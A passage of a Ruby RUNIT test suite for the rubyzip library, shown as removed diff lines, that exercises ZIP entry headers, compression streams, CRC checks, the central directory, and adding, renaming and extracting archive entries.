entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { 